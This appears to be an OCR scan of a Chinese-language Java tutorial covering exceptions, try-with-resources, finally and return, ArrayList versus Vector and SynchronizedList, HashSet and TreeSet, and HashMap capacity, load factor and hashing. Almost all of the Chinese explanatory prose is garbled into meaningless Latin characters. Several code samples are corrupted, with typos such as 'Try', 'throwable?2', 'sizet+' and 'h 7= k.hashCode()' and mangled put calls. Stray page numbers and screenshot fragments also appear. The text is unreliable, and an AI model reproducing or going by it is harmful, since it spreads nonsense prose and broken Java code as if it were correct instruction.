BRRISMES RIS ESLRNIE @R B CIRMAIANETAIERY, MELIRE,
FrRNEILLIERTY, MRLSEAELE,
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BEXRERRARARBCENNRE, —REIH%K B9 7SRRI TSE
/L8

REBENFHELFR ERUWEA— APIRERESR, AMEMNNEEMEEEES
REERNEE.

XFPAEE Web FFAPHEILRER, —REULIAREEXWSRE . REFE.
BERRE. IMBENFEAUSEN, BEamiL ERIEHIE

‘BEHE B Java dIFEERTHEBLEMRS, SEEET - IRECERRET
BIPFE, HIFET T RERE.

ZEAKRZETE “ SKEEE” ( checked exception) %l “EZHE

I

%7 ( unchecked exception)g®& RuntimeException,

IfER—T, MRERARARERREME—NFNEE, F—EEC3RENEE,
XHE, SEEFRATLUEE getCause()#l initCause() AiERipla R EREZLAIIRIR

N Java 1.4 [rAF R, JLFFRIBRIREERSITEEE,

LAF 2 Throwable X755 S A5 i ZFIMIE R £

Throwable getCause ()

Throwable initCause (Throwable)
Throwable (String, Throwable)
Throwable (Throwable)

initCause # Throwable MIEER A Throwable 2HESHLUISENEE .
getCause REISHHFIRENEE, initCause REXHBISENER.

LI RO B aER S EE,
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try |
} catch (IOException e) {
throw new SampleException ("Other IOException", e);

}

R RBIH, ZHIRE IOEXception BY, 62— #HY SampleException &5,
HIINRENEERR, FHESBEEREE T ESEINSBUIEREF.

Java B, WFXMHEF IO . MEFEEESTHIFESRNRR, BAZBUnk
fHEI close HARKEXE, BNRFES—BELTIIFRE, JRESSHAFHESIR.

XARFRRIERAMEE finally IREZHEM, BB close 5ik. tLil, BfiIEE
S5

public static void main (String[] args) {
BufferedReader br = null;
try {
String line;
br = new BufferedReader (new FileReader ("d:\\hollischuang.xml")) ;
while ((line = br.readLine()) != null) {
System.out.println(line) ;
}
} catch (IOException e) {
// handle exception
} finally {
try {
if (br != null) {
br.close();
}
} catch (IOException ex) {
// handle exception

M Java 7 75, jdk IRt T —FEFI B XAZRIR, #EH try-with-resources &
9, XE5—TFELEAEE, SRWNT:
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public static void main (String... args) {
try (BufferedReader br = new BufferedReader (new FileReader ("d:\\ hollischu
ang.xml"))) {
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {

// handle exception

&, XERHER—KEEW, 2ABZEI—RER IOUtIs ZXFiR, AR fina
ly FERZMABIISN, ERXMFINEEEE LXFERNERSZE. BT HHNEE:

public static transient void main (String args|[])
{
BufferedReader br;
Throwable throwable;
br = new BufferedReader (new FileReader ("d:\\ hollischuang.xml"));
throwable = null;
String line;
try
{
while((line = br.readLine()) != null)
System.out.println(line);
}
catch (Throwable throwable?2)
{
throwable = throwable?2;
throw throwable2;
}
if (br != null)
if (throwable != null)
try
{
br.close();
}
catch (Throwable throwablel)
{
throwable.addSuppressed (throwablel) ;
}

else

br.close () ;
break MISSING BLOCK LABEL 113;
Exception exception;
exception;
if (br !'= null)

if (throwable != null)

Try
{

br.close();



127 >

catch (Throwable throwable3)
{

throwable.addSuppressed (throwable3) ;
}

else

br.close();
throw exception;
IOException ioexception;
iocexception;

—

HIBRNFRIZHRER, BEHNNREMPIKARIRAVRIE, mEREBBRNNT .
FRLL, BIREDLET , IBXERIERMES EEFRAER, ERELE R MR IEIAIRAY

F=E=1)

finally 1 return B9{TIIRE

try() BEEE— N returniBa, IBARER naly{ |2 EA code EARSHMIT,
ABHERAT,

=1E return gndE return @?

it

AR try A return 1546,

BBA finally FRIIBER ST, E return £RA92
EBRATTEAIR[G],

FRLA, finally FENERISTE return ZBIHAT .

B2 return BIHITRY finally 3R, XJEWRRMENZIRYS T 5| FREERESAE:

==

/ /MR ABTUE R
static int f£() {
int ret = 0;
try {
return ret; // iRl 0,

} finally {

finally WHIMBHCRAEEH

ret++;
System.out.println("finally $#4T");
}

/7 MR B 2

static int[] £2 () {

int[] ret = new int[]{0};
try {

return ret; // iR[Fl [1], finally PHMBEEERE T 17EH
} finally {

ret [0]++;

System.out.println ("finally $4T");
})
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Collection E2— 1M &E48EN. EiEHTHESTSIHTENSENERZEORE,
Collection #OTE Java EEFBRZSEMRAISTIN, 2 list, set ERIEZEO,

Collections 2—M3%%, CESESMEXESRENBEEDIE, T

ok, Fiig— TR, IRETF Java B9 Collection 1E28,

HEAFE+, RMYETH® Java 989 Collection REFEHIEELE, FE TR
Collections Fix . FJLURFHRZBAMBEE SRRV,

List, Set#l=24%8 Collection 0. #l2RXRFE—EHERZEERITER.

Listf5=: TTERBRANINF, THIEE .

B, BISERANRITTEAHERIE .

Set#fm: TEILHMANINF, TEFTEE.

FTliz, BPSEMANTTEA—EHHERIE. ~HUEE, BIERITEE set FRERE
—fn. LA, BEmRT, set ILIAREE., FAEIFBEENE, set EXHEBANE
BE—ENGERATREAESN XM IERER, RE T set PHLURFHLITE.

List £2%5 ArrayList. LinkedList 5 Vector JLFMSCIT

X=F#LI T List &M, ERANBREMN, EB2XBETENEMBGAIARE,BF
LIS A ERUSEEBARRRER.
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ArrayList B— 1A R/NEEE. SEZAI7TTEIAE ArrayList FBd HAX/IE=
HSHIE. WERRY TR LA EREIT get 5 set 5iE# 7151, [R 8 ArrayList AR EFE2
_4\&@ o

LinkedList R—"W8EsR, ERI0F0MBRTT=RATEBLL ArraylList BiFRIMEEE. B
get 5 set 5HIFST ArrayList,

SR, XS LL AR R I E IR B R RS E IR FRIME MBI TR, i REEFIzE £
RN BBATIELIS R EE X

Vector #1 ArraylList 2|, (BEEFR2EALE., NRFHEFASELZELZEN
(thread-safe, R BEZS M EEZAHZE—MES/NIR), IBAERE ArrayList 2E1FAI%E

o

Vector #1 ArrayList TEEZ TR MIHRATS1ERE KA 8 . Vector BRIEKRKE X
INIIEZE), T ArrayList 8X3T size 1K 50% .

m LinkedList LT Queue #0200t ListiRE TEZ8I5X,81F offer(),
peek(),poll()Z .

R BUABRT ArrayList B9#0a B E3FE/\ FRLUNR A LRGSR ERNE, 5B —
PMRARIDIAERE T RAESCEe, XA LUB R A/NIFHE .

ERT KEFHTEELL, T IRBIXEE, A

ArrayList

/**
Save the state of the <tt>ArrayList</tt> instance to a stream (that

is, serialize it).

@serialData The length of the array backing the <tt>ArrayList</tt>
instance is emitted (int), followed by all of its elements
(each an <tt>Object</tt>) in the proper order.

N
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%/

private void writeObject (java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
int expectedModCount = modCount;
s.defaultWriteObject () ;

// Write out array length
s.writelInt (elementData.length) ;

// Write out all elements in the proper order.
for (int 1=0; i<size; 1i++)

s.writeObject (elementDatali]) ;

if (modCount != expectedModCount) ({
throw new ConcurrentModificationException();

ArrayList SLEL T writeObject 757%, BHILAFRRIREZ 73E null B9EENE FRIEHE.
B0 list B9 size 1NEIAY elementData., FEZMINTFEA—=2, ArraylList B9SCHL, 1B4t7T
fast—fail #%, STLIRMHIT—EE,

Vector

/**
* Save the state of the {@code Vector} instance to a stream (that
* is, serialize it).
* This method performs synchronization to ensure the consistency
* of the serialized data.
%/
private void writeObject (java.io.ObjectOutputStream s)
throws java.io.IOException ({
final java.io.ObjectOutputStream.PutField fields = s.putFields();
final Object[] data;
synchronized (this) {
fields.put ("capacityIncrement", capacityIncrement) ;
fields.put ("elementCount", elementCount);
data = elementData.clone();
}
fields.put ("elementData", data):;
s.writeFields ()

—

Vector B3LW T writeObject F5i%, B EFRBE ArrayList —HER1TIFE,
STHETR:
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data = elementData.clone () ;

clone()BIRHESIE null BEREZER . FRLURFHERBNSA Vector 5 ArraylList,
Vector BISBIFT5EE ArrayList 2,

LU —T, FIEERRIRSH Vector 5 ArrayList, 9 3IE— NSRS A
%, * Vector BE 243 =1* ArraylList Z& 135 =1 oifr:

Arraylist 2IFEZS LM — P RLERE FRASMAIEIRLEM (8L Vector 3Kk ) .
ArraylList RBI—MEMICRFRIBHIS —EE, TE2RAEERRE. RBEALZHE.
BD_EEREIRY Fast—fail #l#). ArrayList RIFMELETAEN A transient, BE writeObject
REMEEMRFINL, T 7,

Vector REHASIME FENTRIMIREN, 55 EHLHTELS.

X35l

B4R Vector @2, Arraylist 3EEZ Vector BREER MEK/ER—(E09%4E
KE, ArrayList 2 0.51%. ArrayList: int newCapacity = oldCapacity +
(oldCapacity >> 1); ArrayList Bap K= AEEKAY 1.5 & ( SCHAIRT R, BiESEAN
— M ENR/NSE, &Y BRFSENANTT/NEE, BABERNENNT/NESE . I
FRYBHREERAY Arrays.copyOf FHiERZERA native BiEHITHEECIEINEIRENR ) .

Vector: int newCapacity = oldCapacity + ((capacitylncrement > 0) ?

capacitylncrement : oldCapacity);

Vector 8 7 KU HRIRH R, BIRIERK

Vector £ java.util 85— 2., SynchronizedList &£ java.util.Collections 51#

— PERSHERE.

EEXRENH=TTUEREER Vector 2, B LA{E Collections.
synchronizedList(List list)5i&RIREI—MELELZ 29 List.
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B4, EJEE SynchronizedList #1 Vector Bi2BX 5, HAtA java api E2MHIXFEH
Fhei2 22/ List BOSCI A RIB?

B4, BAIZ0E Vector #1 Arraylist &2 List F9FE, (IEERSLIE 22—,
FRLUX BN TR list! #0 ist2 A9XBI:

List<String> list = new ArrayList<String>();
List list2 = Collections.synchronizedList (list);
Vector<String> listl = new Vector<String>();

—. tEBRIANEENSE,
add /5%
Vector BYSCIN:

public void add(int index, E element) {
insertElementAt (element, index);

public synchronized void insertElementAt (E obj, int index) {
modCount++;

1if (index > elementCount) {
throw new ArrayIndexOutOfBoundsException (index

+ " > " + elementCount) ;

}
ensureCapacityHelper (elementCount + 1);

System.arraycopy (elementData, index, elementData, index + 1, elementCount
- index) ;

elementData[index] = obj;

elementCount++;

private void ensureCapacityHelper (int minCapacity) {
// overflow-conscious code
if (minCapacity - elementData.length > 0)
grow (minCapacity) ;

synchronizedList AYSEER:
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public void add(int index, E element) {
synchronized (mutex) {
list.add(index, element);

X, FEREEESAIEHRNAEB ArrayList B9 add()/57% . ArrayList B9 add 753&™
[T

public void add(int index, E element) {
rangeCheckForAdd (index) ;
ensureCapacityInternal (size + 1); // Increments modCount!!
System.arraycopy (elementData, index, elementData, index + 1,
size - index);
elementData[index] = element;
sizet+;
}
private void rangeCheckForAdd (int index) {
if (index > size || index < 0)
throw new IndexOutOfBoundsException (outOfBoundsMsg (index)) ;
}
private void ensureCapacityInternal (int minCapacity) {
if (elementData == DEFAULTCAPACITY EMPTY ELEMENTDATA) {
minCapacity = Math.max (DEFAULT CAPACITY, minCapacity);
}
ensureExplicitCapacity (minCapacity) ;

}

M EERBRRBREAMERAARE: 1.Vector ERREEHESLI, synchronizedList
FRRSRERII, 2./ENYT THEFTEH A (HWEW add FEET BHEH
Z3W5tE ArrayList #0 Vector B9Z31, )

remove 753%

synchronizedList BISEIR:

public E remove (int index) {
synchronized (mutex) {return list.remove (index) ;}

}

ArrayList 2569 remove FSiERBNT:
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public E remove (int index) {
rangeCheck (index) ;

modCount++;

E oldValue = elementData (index) ;

int numMoved = size - index - 1;
if (numMoved > 0)
System.arraycopy (elementData, index+l, elementData, index,
numMoved) ;
null; // clear to let GC do its work

elementData[--size]

return oldValue;

}

Vector HYSEIR:

public synchronized E remove (int index) {
modCount++;
if (index >= elementCount)
throw new ArrayIndexOutOfBoundsException (index) ;
E oldValue = elementData (index) ;

int numMoved = elementCount - index - 1;

if (numMoved > 0)

System.arraycopy (elementData, index+l, elementData, index,
numMoved) ;
elementData[--elementCount]

null; // Let gc do its work

M remove IiEHFEAIEIGR T —MEBRELE, —MERBEZABRZINIFE
HIX5,

WISt E A%, IR, SynchronizedList BELIMAS XLV FEE2EREL
RIBHRE L List 97575 #NERiZ List & ArrayList,BB4, SynchronizedList 1 Vector

A— M HCRBEX B R— MER T REREBR, —MEBTREESE.

—. XBIpH

IR KXE]
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MAEBEIANEISR S ArrayList 71 Vector #2EREA(Array ) iz ESHRINIR
SREXFPAMPSEE IR INTRAIATR  NRTRAVE EE L T W HEB R RKEC(JEHE
2 RARHANKE, Vector REFR FEMBIKER—(ERIEEKRE, Arraylist 2
JRA9 50% , P LABRR ISR ISHIX M EE S P SR8 S R EIRSEFRFRZERIZERX . FrLINRR
EUHEESHRIFASHOHUIEIBAER Vector B—E0%, EARTLABTIRESESHIVA
RN FKBE R ERIRIETTH o

S ABRMEL 5 AN XS

1. ESUBRAESERSEE LR EE AR/, —ARFH BRSTEE AR/ R
P EERY o

2. [ESRALIENIFBISBAIEHISEREN SI89/FREE N BHRERENE E AR ALY
BgiE) ) , EETTERVEEWEREMER N TTE.

3. BRI IRAT LUGERI BB N IRINEL, (B255E7515REE4 this IR,

F8 SynchronizedList RE2ERARSAIEBREE T ArrayList 89757, M ArrayList
1 Vector FEEHIENGEZRASTHERAKRESR, FILAESE CEMSRIERE L REFHF
THB . EMERINRXEILE, SynchronizedList FIEIECIBRHIERIRE mutex ITR,
Vector SRR this XIHR . BBA mutex IR ZHANR? HSE SynchronizedList B—
MIEREATLUEAN— Object MR ERBRIFHEERIEA— TR, APABIENIE
FFPEANRNIR .. NRSBIEE, BBABIERItRZ this WR.

LA, SynchronizedList #1 Vector WXBIERIALEER=: 1.A0REH add 5%,
BBAMBMIRY BHEIA—4E, 2.SynchronizedList JLIEEIERIRIR.

B2, FLEHBER. SynchronizedList FsLIHIZEFEHERER synchronized
BEERER ., EdE listlterator 1 listlterator(int index)3H8EMELLIE, B2
Vector 3Nz AN T /581 FrLAS, 7EER SynchronizedList #{TiEHAIRHEE
FRIINEA,
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ZHIRILL R EB R E T A VIS ArrayList #a% SynchronizedList. BRAIIRIAIIEIE
LinkedList ZTR&iEZ £, SERKEEHETFEBATRBRIRLSAMERE, BBAT
BLUEEER LinkedList B#E#6RL SynchronizedList, mABXERREEIEEM
it}

X—m7Z Vector TixMEIR, BRI ERESHMREREHESTI, XTNEXEELAT.

FrLA, &f&, SynchronizedList #1 Vector & ERIXEI: 1.SynchronizedList &
RIFNYT EBIMZEENEE. MAILUEBEM List W FREMERELENE, 2.EH
SynchronizedList B9AHE, #HTBHBINEFNHITRSAIE, 3.SynchronizedList AJLA
B BUEAIRTR .

£ Java By Set (A&, RIBSLMA X ARREES AH AL HashSet #1 TreeSet,

1. TreeSet R _VWHILIIAY, Treeset FRIEIER BoiHF R, RAROFB null (&
2. HashSet 2Ma#HESLHAY, HashSet FRIEIERTFAY, AL null, {EREEMA
— N null, FETREERECES, FNEIEETH—A%R,

£ HashSet /r, EAHIRIEERZEE HashMap [EESLIAY, R HashSet [KEZH
HashMap Zi&EE0EY . 2@ HashSet FIRINTTRAIAHR, B itETE=R hashcode
B, AEEIMNTBERUSHIARITERX D TTRIFEGE, IRXMENT, #
BroRRMEE; WRAAZ, WA equals FiALLRTTREEEE, BERARM, BN

H—P=Lw.

TreeSet IEER TreeMap I keySet(), i TreeMap 2EFLIEMSCIRY, T2
ME—MEE X &N, CaRIHH T — TR EA RS EEAASBITRENIME
—fE.

TreeMap 2% key HEFHY, TTEEEA TreeSet B compareTo() 5 iExE#ER,
FrLA TreeSet FR97cEESLI Comparable #0 . TreeSet fEA—# Set, BEARRIFE
MEETTE, TreeSet 2R compareTo()FHIKrEETEN.
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HashMap #1 HashTable BEIARE?

#iEZE: HashTable 975 E2EZEH), m HashMap a5 EERIAE R T2
RN ESEEHENRET, T EREEH HashTable, E2E(FH HashMap B9
EMEECIENESANET &

HiFERXZER: HashTable 2EFFRIERY Dictionary ZE48/&KHI, HashMap 4%&RY
53 AbstractMap SEIL T Map #0.

AR nUll{E: HashTable &, key # value #AIFHI null B, BUSHH
NullPointerException &&. HashMap &, null BJLAERSE, XEFNRIRE—; 7
AB— a2 MERTXIRAYES null,

N BESMT BYSH:  HashTable 189 hash #4B#EA/ANE 11, EINAIHE
& old*2+1, HashMap & hash #HMAKX/NZE 16, ME—TER 2 s, ERSE
2RI Map F89 hash() D HrRISRBHIIINE, 51X =% . —HollisChuang's Blog.

IEHEENFERARE : HashTable B#EFEHAXISRAY hashCode, HashMap E#fit
H hash (&,

BHAAIRZBEM EARE : Hashtable. HashMap &#¥MERB 7T Iterator. MEF
BSEREA, Hashtable i&ERT Enumeration B95= . HashMap 3L Iterator, 32
%+ fast—fail, Hashtable B9 Iterator ®[h37#F fast—fail, F§ Enumeration A37#% fast

—fail,

HashMap #1 ConcurrentHashMap B9X31?

ConcurrentHashMap #1 HashMap BISLI B NA—E, RAES2(FRIBEEALI
19, BRIA2EX 5, ConcurrentHashMap SIHEEE#HT 7 2R, T HashMap FHigE .

ConcurrentHashMap 88—~ B L& BEIAT TIRIP . HashMap B 8itH .
FRLA, siEs%ieeEl, EEFREELTEM.
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PS: LIEXBIET jdk1.8 LIBTHRA .
HashMap NBE. &

REAAEBIRIZFEENASRFES Java, XEMRIFNHZR. M DK RIBERE
Bik. 7 JDK PIRZEF, HBE HashMap REBEXNERRITIILLRTFHN . REAIE
g HashMap RIUES, ARIEIRIBIRBEMIK—HF, w15 HashMap hXxFEERXHIZS
HEMMAZT, BESTEE

H, XRNENBANRETHRER, REINENEE HashMap HRIEEZRTLUIE
BB, PRE—RYENRERRIEEEEE/UREXT HashMap IRIBSTRINE, X
L S REANE AN ERRIZS

ek B—T, HashMap FE8ENX THILLR RETE .

Lambdas (3EL)

size: int

table: Node<K, Vs

threshold: in
TREEIFY_THRESHC

UNTREEIFY_TH

FER—3K HashMap REBRIAREENE, HRE—TE2RNAXEZXER:
size. loadFactor. threshold. DEFAULT_LOAD_FACTOR #1 DEFAULT_INITIA
L_CAPACITY

BlSekBREE—TXESHEN, AEEIIIFER.

HashMap EhBELUTEERRTS:
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etransient int size
o 1ER T Map F KV XFaI1 21
eloadFactor
o EHETF, BAFREE HashMap #HIFEE . loadFactor FIZHAER
0.75f ( ) o
«int threshold
o IRFRME, LR KV NEEEIE threshold BF, HashMap &682
'8, threshold = BE*&EHEF
fRT UL XEBEERRTEI, HashMap FirE— 1 FIB( 1 Z =8 KA
capacity
o BE, WIRTEE, BATER 16(
)

c

BEER T IMERBRE, size #l capacity ZBBAEXER? ABEEE XA INETE,
loadFactor # threshold ¥ 2FI&R97?

size 1 capacity

HashMap B9 size 1 capacity Z B X 5 E SRR SRR E R . FHlIFE
HashMap #if&—1 “#8” , BBA capacity Bi2iX™ME “H51” R2alEZ/DE, M
size FRXNMRAEERETZ /DR, KEF FATUE:

Map<String, String> map = new HashMap<String, String>();
map.put ("hollis", "hollischuang");

Class<?> mapType = map.getClass();
Method capacity = mapType.getDeclaredMethod ("capacity") ;
capacity.setAccessible (true) ;

System.out.println ("capacity : " + capacity.invoke (map)) ;

Field size = mapType.getDeclaredField("size");
System.out.println("size : " + size.get (map)):;

HNEX T—1#BY HashMap, HEHEAF put T— xR, ARBIRSERTT
EN capacity #1 size., HIthZ455R9: capacity : 16. size : 1,
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BINBRT, —1 HashMap B E (capacity ) & 16, &®itAL 16 ROFALFTE
hERENEY, TBR
A LAERRA SEEUERIE hash AIZE.

S AFERING capacity SLEIXME “2E17 &RSALIEZOTER? SRS AER
. HL, HashMap 2EET FHFIRY. £—1 HashMap SE—R¥4aaIETR, FIA
BERTHNSER 16, SJAT SRR, MEBHETT BT, SM16 T 8 32,

HAIFE, HashMap BIEZFHAIMEIEREF, B— 1 EIFEA initialCapacity A9,
BABIEAERE—T, BEERWN,

Map<String, String> map = new HashMap<String, String>(1l);

Class<?> mapType = map.getClass();
Method ca y = mapType.getDeclaredMethod ("capacity") ;
. y.setAccessible (true) ;

out.println ("capacity + capacit invoke (map) )
Map<String, String> map = new HashMap<String, String>(7);
Class<?> mapType = map.getClass();

Method capacity = mapType.getDeclaredMethod ("capacity") ;
capacity.setAccessible (true) ;

System.out.println ("capacity : " + capacity.invoke (map)) ;

Map<String, String> map = new HashMap<String, String>(9);

Class<?> mapType = map.getClass();
Method capacity = mapType.getDeclaredMethod ("capacity") ;
capacity.setAccessible (true) ;

System.out.println ("capacity : " + capacity.invoke (map)) ;
SRBITLLLE 3 BBILEE, Bl capacity : 2. capacity : 8. capacity : 16,
RN, BUABR T HashMap IEER 16, (B2, MIRABFEBEWEREISE 7

— P EEHFABE, BBA Hash RIEEATZEFHIE— 2 (RFATE. (1->1. 7>
8. 9->16)

XBEE—NNEIW: TEFIIAN HashMap B9Rd R, MiZREIEEEA/N. TEHESHR
Ex0 map FERAITTE AT . ( (Java FFEFMR ) )


http://www.hollischuang.com/archives/2091
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loadFactor #1 threshold

BIERUREE, HashMap B &%), SRSXET BFMESHITT S, W16
EEI 32, 64, 128...

A, XN BFHERIR T ANE?

H3L, HashMap B9 B&E#H 2 HashMap FRIcEN (size ) 811
threshold ) RIS BT &

mFE (

£ HashMap &, threshold = loadFactor * capacity.

loadFactor R%FEHEF, Fx HashMap iHRIRZE, BAEN 0.75f, K& 0.75
BNk, BRFER 0.75 IEF= 3/4, i capacity X2 2 & . FrlA, B EH9sRINER

EEH.

XFF—PBUAR HashMap ki, BOABIRT, HHE size KT 12(16*0.75)iIi =4
BB

SN :

Map<String, String> map = new HashMap<>() ;

map.put ("hollisl", "hollischuang");
map.put ("hollis2", "hollischuang");
map.put ("hollis3", "hollischuang");
map.put ("hollis4", "hollischuang");
map.put

’

(
( )
( )
( )
("hollis5", "hollischuang");
map.put ("hollis6", "hollischuang")
( )
( )
( )
(
(

map.put ("hollis7", "hollischuang");

map.put ("hollis8", "hollischuang");

map.put ("hollis9", "hollischuang");

map.put ("hollisl0", "hollischuang");

map.put ("hollisl1ll", "hollischuang");
)

’

map.put ("hollisl2", "hollischuang"
Class<?> mapType = map.getClass();

Method capacity = mapType.getDeclaredMethod ("capacity") ;
capacity.setAccessible (true) ;

System.out.println ("capacity : " + capacity.invoke (map)) ;

Field size = mapType.getDeclaredField("size");
size.setAccessible (true);
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System.out.println("size : " + size.get (map));

Field threshold = mapType.getDeclaredField ("threshold") ;
threshold.setAccessible (true) ;
System.out.println ("threshold : " + threshold.get (map));

Field loadFactor = mapType.getDeclaredField("loadFactor");
loadFactor.setAccessible (true) ;
System.out.println ("loadFactor : " + loadFactor.get (map));

map.put ("hollisl3", "hollischuang");
Method capacity = mapType.getDeclaredMethod ("capacity") ;
capacity.setAccessible (true) ;

System.out.println ("capacity : " + capacity.invoke (map)) ;

Field size = mapType.getDeclaredField ("size") ;
size.setAccessible (true);
System.out.println("size : " + size.get (map));

Field threshold = mapType.getDeclaredField ("threshold") ;
threshold.setAccessible (true) ;

System.out.println ("threshold : " + threshold.get (map));

Field loadFactor = mapType.getDeclaredField("loadFactor");
loadFactor.setAccessible (true) ;
System.out.println ("loadFactor : " + loadFactor.get (map));

AR

capacity : 16
size : 12
threshold : 12
loadFactor : 0.75

capacity : 32
size : 13
threshold : 24
loadFactor : 0.75

% HashMap FHI7cE/N AR 13 BIATE, capacity Bt 16 I'EE 32 7,

HashMap SRR T —NSHFEN initialCapacity,loadFactor NS #RIT5 %, K
VS EMNEZEEF . A, —RBAENIEN loadFactor BI{E .
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HashMap & size £ RIFIEEZ/DN KV 3T, capacity FxZ81 HashMap BB
S22, BMER 16, BRY BE2MEM. loadFactor 2FHET, X Map itk
NGB RIERT, AT B o] LARd
threshold &7,

PS: XthotiETF JDK1.8.0_73

fRE1E HashMap #f hash 5ERNEARIZIIE? {R%1E HashTable.
ConcurrentHashMap & hash ARSI RENS? (RENE AT ABXASLIE? R
&AM 4 JDK 7 #1 DK 8 & hash BESEMAARAR X BIIE? SIRIRABARIFRIE]
ZIXLOR, PBAMEERFFEEXENE. XFEREXEREMNMTENEEFRER.
HEXIHIT R . BANEEERN, 1B hash() 2 HradLttiEtng, SIZ "=,

5%

Hash, —fREIEM “E81" , EEESFEN “IBF" B, HEEASRRKENEA,
BISEPIEE, THAEERENEL, ZBEEsPE. XMERE—ME IR, 1
Mz, BYERNZEEER/NTRANTE, FAENBARRESEZINERNGL, PR
BIBEM B HERE—RITRERNE AR E M REEKERER EEIE—EEK
ERYIA B RMERIREL .

FREE0REEB I T EMFE : RIEE—8 R S LAY EINRAE , BB
ZBNESERAE. B2, RIEE—8IRE ELAIEPENRER, MAET—ER
@O

AT AREINBANE, RIER—YREHITE LIS ERERIIISRIYEhlE .

EIAY Hash BREBLLTILA:

BRI BEELUXEF k5#E K N EEDNEH (k+c) fERlEFwML,
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otk EECKEFPEEICBISORIEFE et .

PREBRENE: AXRF KBRUENAATIRAERKE m B8 p, SBASREEIIES
ik,

PREINE: RRIEHRMIHMVERSXEFD R EEFALED , EP&E—8n e
LAELESE . ARRIXTLE D1, SFEeEENERMBZKEFIIEFH I

SEREFE: RKBFENHLODHEAIDINE, TLSEREERIFLE, AER
BT SKEN AR LAZ B NE AR tbL o

IBEHEGE: RE— MRS FIeF R A

FENRiIhlE AE— ISR R ERIFIARIE R SRR & EHERIRER IR A& 46l
ERIBRRT 2 (UG H REERE T ARkt e hllE , B AR RIHEN 5 EZB LT LM

o FFRCEILE
o FINEUEMR—BRETIPR, IEAIH T —IHIES L, R
BHIOIREB KR, THORGIMUISEERE], FRCREFEN

o GEMINEE
o RIEFRNENRITIFAMERILER, PTEIRAIILA | AI7TEHEY
p—REIMIENER . BIA L ISR IZ K R LAZ R ITT kS =

AYSERAVESD o

o BlaFE
o HMRFHHIIA S IPRABEMREITES— 1 aH R, EEH
SRABFERLE.

o B NHiEHKX

R R RO NERFMRHRMELD , KEPRATEEMNELHE

o

B

HashMap HI¥iESHE

£ Java /1, RIFEIEERMLLREBEAVEIRSN: HAEMMER. HEMSRE: Sk
B, BAMRBRERE, MiERTRE: SUREE, BAMRGRES . CEEIREEE,

EHENIEHREMAPRBRINETE —MEHIHBINE , ESL G HEMSRASE
—ig, RIETRERINE, BNTLUSHIERIDHERAIEE.



145 > g%
bucket at h(k) = 0 ) (___| .’
bucket at .l(l”{] =1 ‘/“'——. (,__.. ‘/ﬂ——b (_,__1 |
bucket at h(k) = 2 " .,f——| |

bucket at h(k) = 3 ¢

bucket at h(k) = 4 e . 7 ek

BATTUMN EEEE, ZIHRBERNMEE, HEANT I HRRE— R ZHURED
FTaMFrBTRIBE—MEE, BT aRanikEE . BIRBETENB SIS HETRS
FREIARAERFE, RITREA N ERBITIXLAHEKR I fRER, BNERPEREIE
HFRTER. P, RETRSETETRHE T RNE EREREEE, AN ERS
hash()EREL ( 2458, EEIE indexOf()&RiEL ) »

hash 75i%

(1= JDK 1.7 B9 HashMap #fl, BEFENT— final int hash(Object k) 75
%, BEEEWLITEASIA.

¥ Foundusages B usages
¥ Unclassified usage B
¥ Ei<1/>
v java.util 8 usages
¥ 3= HashMap 7
addEntry(int, K, V, int)
getEntry(Object) 1
put(K, V)
putForCreate(k, V)
removeEntryForKey({Object)

removeMapping(Object) -

transfer(Entry[], boolean)
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FENEEEEEEIEIFIMERS X, XAEIRMRE, JFAIEN— P ERIEFRIED
TCRATIEMAYRH R, BERBEMMAIZ R FEX MERGETIBMIE , BIMEEIX D
AR TR, M hash()BENNEEMERTE Key RELHEAE HashMap FRIUE .
HashTable. ConcurrentHashMap [,

IR AT

B, EE—MAR Jdk &, HashMap. HashTable U1K ConcurrentHashMap
EBmEAY hash AU EAREN . BARRAL JDK /F (Java7 1 Java8) 2
BX8Y. HERELINEE . BE, BEXXRXE, REMEE® hash B,

ELABZRT, FAIEREAEREDHNT . FfIFE, hash ITERITNRERRE Key K
ELLXA K-V ERRAAFRIUERN . EIE hash HERVEIARIZZ Object 2£2LA7
Key, BItHRIZE" int REURIEEAE iR, MIRILRITXNITIE, REEAM?

HEE, HIREEA Object WHRAY hashCode() /5%, ZHiESIREI—1MEEY,
SRIEAIXNEDT HashMap 8k#& HashTable IBASHTEUIEHIT T . i85, HLEARR
BEREXD, RFAY, #ERIHLE, BN HE il

KL . (BEREFBEIMEEDM, HashMap RISTEISHH
MEHR—=,

hash : ZHEEEERRE Object i — 1 EEL,
indexFor : ZFEFERE hash SRR B LR B R EA A TFR o
HashMap In Java 7

final int hash (Object k) {
int h = hashSeed;
if (0 !'= h && k instanceof String) {
return sun.misc.Hashing.stringHash32 ((String) k);
}
h 7= k.hashCode () ;
h = (h >>> 20) ~ (h >>> 12);
return h ~ (h >>> 7) ~ (h >>> 4);
}
static int indexFor (int h, int length) {
return h & (length-1);
}
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BIEHEGIE, indextor FiEELFERE hash A pHIEERIEEHE b HEREEA P AT TR
BBA return h & (length—1), 24 =2BR? HiL, i 2EUE . Java ZFraERsE
(R)RRBBURZE (%), REZNERHMEIE., B (QIIEENRERREEE(%)S
Rz, TEFREZEEENNGFEIEHITIRE, THREEM T, BIMMRREIFE
e

A, AT ATLUERMIEE(&)REIMEURZE (%)R? XTIAYREIEN T :

X% 2"n =X & (2"n - 1)

2MFBR2B9NIRTT, BEIRR, —PEXS 20 BUE == — 1M EF1(2 0 — )R
5iz8

BgnA3, W23 = 8, Fmpk 2 #HEZE 1000, 2°3 -1 =7 , B O111,
RS X & (23 — 1) BESTE X 89 2 #HHRIRE =15

M2 #BIBERE, X/ 8BEF X >> 3, BME X G# 31U, HAHSEIT X / 819
i, MR (E=10), W2 X % 8, BRI,

FHEABREAEMNREREERE, REBNEELHIXR, (RRFEICEXMEISH
BILAT o BB RAILAES LM — T -

6%8=6,6&7=606
1M0&8=2,108&7=2

b&F =0 10&F =2

000110 | 001010 |
& &
000111 000111
000110 0000170
b ! L
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FRLA, return h & (length—1); RERIE length BOKER 2/'n B9E, FEalASCIIEE
Z2E 7T, M HashMap 589 length tBH&sC2 2 BIEE, WIRER 16, ZEEXY AR
EH 2 1=,

Af5e indextor 5iRE, BAMETREE DN hash 75ZRIERRIEASEHL. RN
otrzel, Eit, SRS,

HashMap RYEHE R FEE iR EBEEERY JEXS HashMap S TN/ MERFRIERT,
HFERE K-V IREEMEMDAIZRFERARMA TR . MiX M ESRERRT
PRRIRIERLIUIRIEE . HashMap RIEAHERBRKER, Java FREX MEREERE 2 A=
